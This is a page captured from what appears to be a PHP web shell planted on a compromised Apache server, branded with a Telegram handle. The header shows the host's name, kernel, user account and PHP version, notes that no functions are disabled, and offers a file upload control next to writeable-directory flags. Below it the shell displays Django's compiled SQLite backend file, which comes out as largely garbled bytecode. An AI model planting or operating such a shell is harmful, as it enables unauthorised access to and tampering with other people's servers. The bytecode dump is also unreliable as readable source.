https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/db/backends/sqlite3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/db/backends/sqlite3/base.pyc
�
r�\c@s�dZddlmZddlZddlZddlZddlZddlmZddl	Tddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZmZmZddlmZdd
lmZddlmZddlmZddlm Z y<yddl!m"Z#Wn!e$k
rVddl%m"Z#nXWn3e$k
r�Z&ddl'm(Z(e(de&��nXyddl)Z)Wne$k
r�dZ)nXe#j+Z+e#j,Z,d�Z-d�Z.d�Z/e#j0e1d�e/d���e#j0e1d�e/e��e#j0e1d�e/e��e#j0e1d�e/e-��e#j0e1d�e/e-��e#j0e1d�e/e-��e#j0e1d�e/e2j3��e#j4eje.�e#j4ej5e2j6�ej7re#j8d3kre#j4e1d"��e#j4ed#��nd$e9fd%��YZ:d&e;fd'��YZ<d(e=fd)��YZ>ej?d*�Z@d+e#jAfd,��YZBd-�ZCd.�ZDd/�ZEd0�ZFd1�ZGd2�ZHdS(4ut
SQLite3 backend for django.

Works with either the pysqlite2 module or the sqlite3 module in the
standard library.
i����(tunicode_literalsN(tutils(t*(tDatabaseClient(tDatabaseCreation(tDatabaseIntrospection(tfields(t
aggregates(t
parse_datetparse_datetimet
parse_time(t
force_text(tcached_property(t	SafeBytes(tsix(ttimezone(tdbapi2(tImproperlyConfigureduKError loading either pysqlite2 or sqlite3 modules (tried in that order): %scCsLt|�}|dk	rHtjrHtj|�rH|jdtj�}n|S(Nttzinfo(R	tNonetsettingstUSE_TZRtis_naivetreplacetutc(tvaluetdt((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt$parse_datetime_with_timezone_support-s$cCs�tjrntj|�rMtjd|t�tj�}tj||�}n|j	tj
�jdd�}n|j
td��S(NuHSQLite received a naive datetime (%s) while time zone support is active.Ru (RRRRtwarningstwarntRuntimeWarningtget_default_timezonet
make_awaret
astimezoneRRRt	isoformattstr(Rtdefault_timezone((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt$adapt_datetime_with_timezone_support4s		!cs
�fd�S(u� The Python sqlite3 interface returns always byte strings.
        This function converts the received value to a regular string before
        passing it to the receiver function.
    cs�|jd��S(Nuutf-8(tdecode(ts(t	conv_func(sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt<lambda>Es((R(((R(sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdecoder@suboolcCs
|dkS(Nu1((R'((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR)Gsutimeudateudatetimeu	timestampu	TIMESTAMPudecimaliiicCs
|jd�S(Nuutf-8(R&(R'((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR)WscCs
|jd�S(Nuutf-8(R&(R'((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR)XstDatabaseFeaturescBs}eZeZeZeZeZeZeZ	eZ
eZeZeZ
eZeZed��Zed��Zed��ZRS(cCs
tjdkS(Niii(iii(tDatabasetsqlite_version_info(tself((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytuses_savepointslscCsa|jj�}|jd�y|jd�t}Wntjk
rOt}nX|jd�|S(uConfirm support for STDDEV and related stats functions

        SQLite supports STDDEV as an extension package; so
        connection.ops.check_aggregate_support() can't unilaterally
        rule out support for STDDEV. We need to manually check
        whether the call works.
        u CREATE TABLE STDDEV_TEST (X INT)u!SELECT STDDEV(*) FROM STDDEV_TESTuDROP TABLE STDDEV_TEST(t
connectiontcursortexecutetTrueRt
DatabaseErrortFalse(R.R1thas_support((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytsupports_stddevps	




cCs
tdk	S(N(tpytzR(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pythas_zoneinfo_database�s(t__name__t
__module__R5tcan_use_chunked_readst#test_db_allows_multiple_connectionsR3tsupports_unspecified_pktsupports_timezonestsupports_1000_query_parameterst(supports_mixed_date_datetime_comparisonsthas_bulk_insertt6can_combine_inserts_with_and_without_auto_increment_pkt"autocommits_when_autocommit_is_offtatomic_transactionstcan_rollback_ddltsupports_paramstyle_pyformatRR/R7R9(((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR+ZstDatabaseOperationscBs�eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Ze
d�Zd�Zd
�Zd�Zd�ZRS(cCsHt|�dkrdnd}t|�dkr>|t|�St|�S(u
        SQLite has a compile-time default (SQLITE_LIMIT_VARIABLE_NUMBER) of
        999 variables per query.

        If there is just single field to insert, then we can hit another
        limit, SQLITE_MAX_COMPOUND_SELECT which defaults to 500.
        ii�i�i(tlen(R.Rtobjstlimit((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytbulk_batch_size�scCsjtjtjtjf}tjtjtjtjf}t	|j
|�rft	||�rftd��ndS(NuzYou cannot use Sum, Avg, StdDev and Variance aggregations on date/time fields in sqlite3 since date/time is saved as text.(Rt	DateFieldt
DateTimeFieldt	TimeFieldRtSumtAvgtVariancetStdDevt
isinstancetsourcetNotImplementedError(R.t	aggregatet
bad_fieldstbad_aggregates((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytcheck_aggregate_support�scCsd|j�|fS(Nudjango_date_extract('%s', %s)(tlower(R.tlookup_typet
field_name((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdate_extract_sql�scCs d|||j|j|jfS(Nu1django_format_dtdelta(%s, "%s", "%d", "%d", "%d")(tdaystsecondstmicroseconds(R.tsqlt	connectort	timedelta((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdate_interval_sql�scCsd|j�|fS(Nudjango_date_trunc('%s', %s)(R[(R.R\R]((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdate_trunc_sql�scCsTtjr7tdkr7ddlm}|d��q7nd|j�|f|gfS(Ni����(Ru1This query requires pytz, but it isn't installed.u&django_datetime_extract('%s', %s, %%s)(RRR8Rtdjango.core.exceptionsRR[(R.R\R]ttznameR((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdatetime_extract_sql�s	cCsTtjr7tdkr7ddlm}|d��q7nd|j�|f|gfS(Ni����(Ru1This query requires pytz, but it isn't installed.u$django_datetime_trunc('%s', %s, %%s)(RRR8RRgRR[(R.R\R]RhR((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdatetime_trunc_sql�s	cCsdS(Nu((R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytdrop_foreignkey_sql�scCsdS(NuNULL((R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytpk_default_value�scCs*|jd�r"|jd�r"|Sd|S(Nu"u"%s"(t
startswithtendswith(R.tname((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt
quote_name�scCsdS(Ni����((R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytno_limit_value�scCsNg|D]=}d|jd�|jd�|j|j|��f^q}|S(Nu	%s %s %s;uDELETEuFROM(tSQL_KEYWORDt	SQL_FIELDRp(R.tstylettablest	sequencest
allow_cascadettableRb((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt	sql_flush�sGcCse|dkrdStj|�rXtjrI|jtj�jdd�}qXtd��nt	j
|�S(NRuNSQLite backend does not support timezone-aware datetimes when USE_TZ is False.(RRtis_awareRRR!RRt
ValueErrorRt	text_type(R.R((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytvalue_to_db_datetime�s	!cCs;|dkrdStj|�r.td��ntj|�S(Nu5SQLite backend does not support timezone-aware times.(RRRzR{RR|(R.R((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytvalue_to_db_time�s
cCs�|dkrdS|j�}|dkr>tj|j|��S|rS|jd�s_|dkrit|�S|dkrt|�S|dkr�t|�S|dkr�t	|�S|S(u�SQLite returns floats when it should be returning decimals,
        and gets dates and datetimes wrong.
        For consistency with other backends, coerce when required.
        uDecimalFielduIntegerFieldu	AutoFieldu	DateFieldu
DateTimeFieldu	TimeFieldN(
Rtget_internal_typetutilttypecast_decimalt
format_numberRntintRRR
(R.Rtfieldt
internal_type((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytconvert_values�s!



csog}|jddj�fd�|D���|jddjdgt|��g|d�dj|�S(Nu	SELECT %su, c3s%|]}d�j|j�VqdS(u	%%s AS %sN(Rptcolumn(t.0tf(R.(sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pys	<genexpr>suUNION ALL SELECT %su%siu (tappendtjointextendRI(R.Rt
num_valuestres((R.sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytbulk_insert_sqls
2(R:R;RLRZR^ReRfRiRjRkRlRpRqR5RyR}R~R�R�(((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyRH�s 				
		
	
				
	
	
	tDatabaseWrappercBs�eZdZidd6dd6dd6dd6dd6d	d
6dd6d
d6dd6dd6dd6dd6dd6dd6ZeZd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd"d�Zd �Zd!�ZRS(#usqliteu= %suexactuLIKE %s ESCAPE '\'uiexactucontainsu	icontainsu	REGEXP %suregexuREGEXP '(?i)' || %suiregexu> %sugtu>= %sugteu< %sultu<= %sulteu
startswithuendswithuistartswithu	iendswithcOswtt|�j||�t|�|_t|�|_t|�|_t	|�|_
t|�|_t
|�|_dS(N(tsuperR�t__init__R+tfeaturesRHtopsRtclientRtcreationRt
introspectiontBaseDatabaseValidationt
validation(R.targstkwargs((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR�3scCs�|j}|ds2ddlm}|d��ni|dd6tjtjBd6}|j|d�d|kr�|dr�tjd	t	�n|jit
d6�|S(
NuNAMEi����(RuJsettings.DATABASES is improperly configured. Please supply the NAME value.udatabaseudetect_typesuOPTIONSucheck_same_threadu�The `check_same_thread` option was provided and set to True. It will be overriden with False. Use the `DatabaseWrapper.allow_thread_sharing` property instead for controlling thread shareability.(t
settings_dictRgRR,tPARSE_DECLTYPEStPARSE_COLNAMEStupdateRRRR5(R.R�RR�((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytget_connection_params=s	

cCs�tj|�}|jddt�|jddt�|jddt�|jddt�|jddt�|jdd	t�|S(
Nudjango_date_extractiudjango_date_truncudjango_datetime_extractiudjango_datetime_truncuregexpudjango_format_dtdeltai(	R,tconnecttcreate_functiont_sqlite_date_extractt_sqlite_date_trunct_sqlite_datetime_extractt_sqlite_datetime_trunct_sqlite_regexpt_sqlite_format_dtdelta(R.tconn_paramstconn((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytget_new_connectionZscCsdS(N((R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytinit_connection_statedscCs|jjdt�S(Ntfactory(R0R1tSQLiteCursorWrapper(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt
create_cursorgscCs1|j�|jddkr-tj|�ndS(NuNAMEu:memory:(tvalidate_thread_sharingR�tBaseDatabaseWrappertclose(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR�js
cCs|jjo|jS(N(R�R/tin_atomic_block(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt_savepoint_allowedrs
cCs5|rd}nd}|j�||j_WdQXdS(Nu(Rtwrap_database_errorsR0tisolation_level(R.t
autocommittlevel((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt_set_autocommit~s
	
c
Cs|j�}|dkr-|jj|�}nx�|D]�}|jj||�}|s[q4n|jj||�}x�|D]\}}}|jd||||||||f�xD|j�D]6}	tj	d||	d|||	d||f��q�WqwWq4WdS(u�
        Checks each table name in `table_names` for rows with invalid foreign key references. This method is
        intended to be used in conjunction with `disable_constraint_checking()` and `enable_constraint_checking()`, to
        determine if rows with invalid references were entered while constraint checks were off.

        Raises an IntegrityError on the first invalid foreign key reference encountered (if any) and provides
        detailed information about the invalid reference in the error message.

        Backends can override this method if they can more directly apply constraint checking (e.g. via "SET CONSTRAINTS
        ALL IMMEDIATE")
        u
                    SELECT REFERRING.`%s`, REFERRING.`%s` FROM `%s` as REFERRING
                    LEFT JOIN `%s` as REFERRED
                    ON (REFERRING.`%s` = REFERRED.`%s`)
                    WHERE REFERRING.`%s` IS NOT NULL AND REFERRED.`%s` IS NULLu�The row in table '%s' with primary key '%s' has an invalid foreign key: %s.%s contains a value '%s' that does not have a corresponding value in %s.%s.iiN(
R1RR�ttable_namestget_primary_key_columntget_key_columnsR2tfetchallRtIntegrityError(
R.R�R1t
table_nametprimary_key_column_nametkey_columnstcolumn_nametreferenced_table_nametreferenced_column_nametbad_row((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pytcheck_constraints�s"
	cCstS(N(R3(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt	is_usable�scCs|j�jd�dS(u�
        Start a transaction explicitly in autocommit mode.

        Staying in autocommit mode works around a bug of sqlite3 that breaks
        savepoints when autocommit is disabled.
        uBEGINN(R1R2(R.((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt#_start_transaction_under_autocommit�sN(R:R;tvendort	operatorsR,R�R�R�R�R�R�R�R�RR�R�R�(((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR�s8
	
		
					"	u(?<!%)%sR�cBs,eZdZdd�Zd�Zd�ZRS(u�
    Django uses "format" style placeholders, but pysqlite2 uses "qmark" style.
    This fixes it -- but note that if you want to use a literal "%s" in a query,
    you'll need to use "%%s".
    cCsD|dkrtjj||�S|j|�}tjj|||�S(N(RR,tCursorR2t
convert_query(R.tquerytparams((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR2�scCs%|j|�}tjj|||�S(N(R�R,R�texecutemany(R.R�t
param_list((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��scCstjd|�jdd�S(Nu?u%%u%(tFORMAT_QMARK_REGEXtsubR(R.R�((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��sN(R:R;t__doc__RR2R�R�(((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��s	cCsm|dkrdSytj|�}Wnttfk
r=dSX|dkr\|j�ddSt||�SdS(Nuweek_dayii(RR�ttypecast_timestampR{t	TypeErrort
isoweekdaytgetattr(R\R((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��scCs�ytj|�}Wnttfk
r-dSX|dkrEd|jS|dkred|j|jfS|dkr�d|j|j|jfSdS(Nuyearu%i-01-01umonthu
%i-%02i-01udayu%i-%02i-%02i(R�R�R{R�Rtyeartmonthtday(R\R((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��scCs�|dkrdSytj|�}Wnttfk
r=dSX|dk	rhtj|tj|��}n|dkr�|j�ddSt	||�SdS(Nuweek_dayii(
RR�R�R{R�Rt	localtimeR8R�R�(R\RRh((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��scCsOytj|�}Wnttfk
r-dSX|dk	rXtj|tj|��}n|dkrod|jS|dkr�d|j|j	fS|dkr�d|j|j	|j
fS|dkr�d|j|j	|j
|jfS|d	krd
|j|j	|j
|j|jfS|dkrKd|j|j	|j
|j|j|j
fSdS(
Nuyearu%i-01-01 00:00:00umonthu%i-%02i-01 00:00:00udayu%i-%02i-%02i 00:00:00uhouru%i-%02i-%02i %02i:00:00uminuteu%i-%02i-%02i %02i:%02i:00usecondu%i-%02i-%02i %02i:%02i:%02i(R�R�R{R�RRR�R8R�R�R�thourtminutetsecond(R\RRh((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR��s$ &cCs�yctj|�}tjt|�t|�t|��}|j�dkrX||}n
||}Wnttfk
r}dSXt	|�S(Nu+(
R�R�tdatetimeRdR�tstripR{R�RR#(RR�R_tsecstusecstdelta((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR�s'
cCs,|dk	r(ttj|t|���StS(N(RtbooltretsearchRR5(t
re_patternt	re_string((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyR�s(iii(IR�t
__future__RR�tdecimalRR�t	django.dbRtdjango.db.backendst!django.db.backends.sqlite3.clientRt#django.db.backends.sqlite3.creationRt(django.db.backends.sqlite3.introspectionRtdjango.db.modelsRtdjango.db.models.sqlRtdjango.utils.dateparseRR	R
tdjango.utils.encodingRtdjango.utils.functionalRtdjango.utils.safestringR
tdjango.utilsRRt	pysqlite2RR,tImportErrortsqlite3texcRgRR8RR4R�RR%R*tregister_converterR#R�R�tregister_adaptertDecimaltrev_typecast_decimaltPY2tversion_infotBaseDatabaseFeaturesR+tBaseDatabaseOperationsRHR�R�tcompileR�R�R�R�R�R�R�R�R�(((sA/tmp/pip-install-XxeQeY/django/django/db/backends/sqlite3/base.pyt<module>st



					-��					

https://t.me/AnonymousX5 - 2025